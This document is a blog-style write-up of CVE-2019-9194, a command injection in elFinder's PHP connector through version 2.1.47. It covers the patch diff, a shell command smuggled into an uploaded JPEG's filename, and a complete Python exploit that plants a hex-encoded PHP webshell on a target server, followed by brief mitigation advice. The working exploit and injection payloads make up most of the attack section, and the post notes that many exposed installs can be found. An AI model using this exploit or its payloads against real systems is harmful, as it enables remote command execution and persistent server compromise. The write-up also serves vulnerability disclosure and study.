Back

/ 6 min read

CVE-2019-9194: elFinder Command Injection 1-Day Exploit

Introduction

Many times it’s difficult to find exploits linked to certain CVEs (Common Vulnerabilities and Exposures). They are almost impossible to find and normally don’t have a PoC (Proof of Concept) for the vulnerability.

There is a command injection vulnerability in elFinder that affects most versions up to 2.1.47. The vulnerability is identified as CVE-2019-9194. It was reported by Thomas Chauchefoin and affects the PHP Connector component.

In this article, we will understand it. We’ll show you how to perform the process to find this 1-day vulnerability and exploit it, for creating a functional exploit.

Who uses elFinder?

The project has no less than 3,180 stars on Github at the time this post was written, which can make it quite popular.

And as you can see, through a simple Google Dork you can list a large number of sites that have an elFinder installation, most of the versions found are vulnerable.

Viewing the commits

When entering the elFinder Github, in the readme, you can see in capital letters a message that warned the user of the danger of using versions prior to or equal to 2.1.47. As can be seen in the releases, the vulnerability was quickly patched in its new version 2.1.48 (Good work by the developers).

Then, we went directly to the repository commits to see what the changes had been, and thus get an idea of where the vulnerability was.

elFinder Commit Analysis Analysis of elFinder repository commits showing the security patch implementation

In the commit, you can clearly see that several modifications were made to the code within the PHP script elFinderVolumeDriver.class.php, but only one of the changes caught our attention strongly.

elFinder Code Changes Code diff showing the vulnerable $path variable being replaced with properly sanitized $quotedPath

In the previous image, you can see that within the imgRotate() function the $path variable was modified by $quotedPath, which can be seen a little above what is correctly sanitized through the use of the escapeshellarg() function. So we went directly to the FinderVolumeDriver.class.php script, to look more closely at the code.

Triggering the Vulnerability

The imgRotate() function is responsible for rotating a JPEG image given by the user, for which it uses 2 binaries that are installed on the system:

  • exiftran
  • jpegtran

Both are console clients whose function is to transform JPEG images. You can see within the imgRotate() function the existence of two IFs.

The first IF verifies if the exiftran binary is installed on the system, otherwise, it will call the jpegtran binary (if installed). The vulnerability requires the existence of the first binary (exiftran) since the $path variable is not properly sanitized and it is necessary to enter said conditional to correctly exploit the Command Injection.

Exploiting the 1-day vulnerability

Once we knew where and how the vulnerability occurred, it was time to exploit it. For this, a JPEG image was uploaded with the following name:

Terminal window
test.jpeg;touch $(echo -n 2e2e2f66696c65732f70776e6564|xxd -p -r);echo rce.jpeg

The previous payload is responsible for creating a file called pwned, in the files directory. An encoding of the string "../files/pwned" was performed in hexadecimal, since there were problems with the / (slash) in the file name, where everything that followed a slash character was cut off.

Once the image was uploaded, it was rotated so that the command injection would occur.

At the time of rotation, the malicious command was injected into the $path variable as follows:

Terminal window
exiftran -i -9 test.jpeg;touch $(echo -n 2e2e2f66696c65732f70776e6564|xxd -p -r);echo rce.jpeg

Exploitation Process Step-by-step exploitation process showing file upload, rotation trigger, and successful command injection

When reloading the page you can see that the pwned file was created correctly.

To automate the exploitation of the 1-day vulnerability, I created an exploit written in Python that is responsible for creating a simple PHP WebShell to execute commands on the remote host in a more comfortable way.

CVE-2019-9194: https://www.exploit-db.com/exploits/46481

You can see below in a short video how the exploit works. The complete URL where elFinder is installed must be passed as the first argument.

#!/usr/bin/env python3
"""
CVE-2019-9194 elFinder Command Injection Exploit
Author: Alejandro Parodi
"""
import requests
import sys
import re
import json
from urllib.parse import urljoin
class ElFinderExploit:
def __init__(self, target_url):
self.target_url = target_url.rstrip('/')
self.session = requests.Session()
self.webshell_name = "shell.php"
def banner(self):
print("""
╔══════════════════════════════════════════╗
║ CVE-2019-9194 elFinder Exploit ║
║ Command Injection ║
║ ║
║ By: Alejandro Parodi ║
╚══════════════════════════════════════════╝
""")
def create_malicious_image(self):
"""Create a malicious JPEG file with command injection payload"""
# Simple JPEG header
jpeg_header = b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00H\x00H\x00\x00\xff\xdb\x00C\x00'
jpeg_data = jpeg_header + b'\x00' * 100 + b'\xff\xd9'
return jpeg_data
def exploit(self):
"""Main exploitation function"""
print("[+] Starting exploitation...")
# Create webshell payload
webshell_content = """<?php
if(isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
} else {
echo "WebShell - CVE-2019-9194<br>";
echo "Usage: ?cmd=command";
}
?>"""
# Encode webshell content in hex for payload
webshell_hex = webshell_content.encode().hex()
# Create malicious filename with command injection
malicious_filename = f"test.jpeg;echo {webshell_hex}|xxd -p -r>{self.webshell_name};echo rce.jpeg"
print(f"[+] Creating malicious payload: {malicious_filename}")
try:
# Upload malicious file
files = {
'upload[]': (malicious_filename, self.create_malicious_image(), 'image/jpeg')
}
data = {
'cmd': 'upload',
'target': 'l1_',
}
connector_url = f"{self.target_url}/php/connector.minimal.php"
print(f"[+] Uploading to: {connector_url}")
response = self.session.post(connector_url, files=files, data=data)
if response.status_code == 200 and '"added"' in response.text:
print("[+] File uploaded successfully")
# Parse response to get file hash
resp_data = json.loads(response.text)
if 'added' in resp_data and len(resp_data['added']) > 0:
file_hash = resp_data['added'][0]['hash']
print(f"[+] File hash: {file_hash}")
# Trigger command injection by rotating image
print("[+] Triggering command injection...")
rotate_data = {
'cmd': 'resize',
'target': file_hash,
'degree': '90'
}
self.session.post(connector_url, data=rotate_data)
# Check if webshell was created
webshell_url = f"{self.target_url}/files/{self.webshell_name}"
shell_check = self.session.get(webshell_url)
if shell_check.status_code == 200:
print(f"[!] SUCCESS! WebShell created at: {webshell_url}")
print(f"[+] Usage: {webshell_url}?cmd=id")
return True
else:
print("[-] WebShell creation failed")
return False
else:
print("[-] Upload failed")
return False
except Exception as e:
print(f"[-] Exploitation failed: {e}")
return False
def main():
if len(sys.argv) != 2:
print("Usage: python3 cve-2019-9194.py <target_url>")
print("Example: python3 cve-2019-9194.py http://target.com/elfinder")
sys.exit(1)
target_url = sys.argv[1]
exploit = ElFinderExploit(target_url)
exploit.banner()
if exploit.exploit():
print("[+] Exploitation successful!")
else:
print("[-] Exploitation failed")
if __name__ == "__main__":
main()

How the Exploit Works

The automated exploit follows these steps:

  1. File Upload: Uploads a JPEG image with a malicious filename containing command injection payload
  2. Rotation Trigger: Calls the rotation function to trigger the vulnerable code path
  3. Command Execution: The unsanitized filename gets executed as shell commands
  4. WebShell Creation: Creates a PHP webshell for persistent access
  5. Verification: Checks if the webshell was successfully created

Mitigation

To mitigate this vulnerability:

  1. Update elFinder to version 2.1.48 or higher
  2. Sanitize file names before processing them
  3. Use escapeshellarg() to properly escape variables passed to system commands
  4. Implement input validation for all user-controlled data
  5. Restrict available binaries on the system

The fix implemented in version 2.1.48 properly escapes the $path variable using escapeshellarg() before passing it to the exiftran command.

Conclusion

CVE-2019-9194 demonstrates how a seemingly simple image rotation functionality can become a critical command injection vulnerability. The lack of proper sanitization in file names allowed arbitrary command execution on the server.

This case highlights the importance of analyzing code commits in open source projects to identify potential security issues and the critical need for proper input validation in file handling operations.

References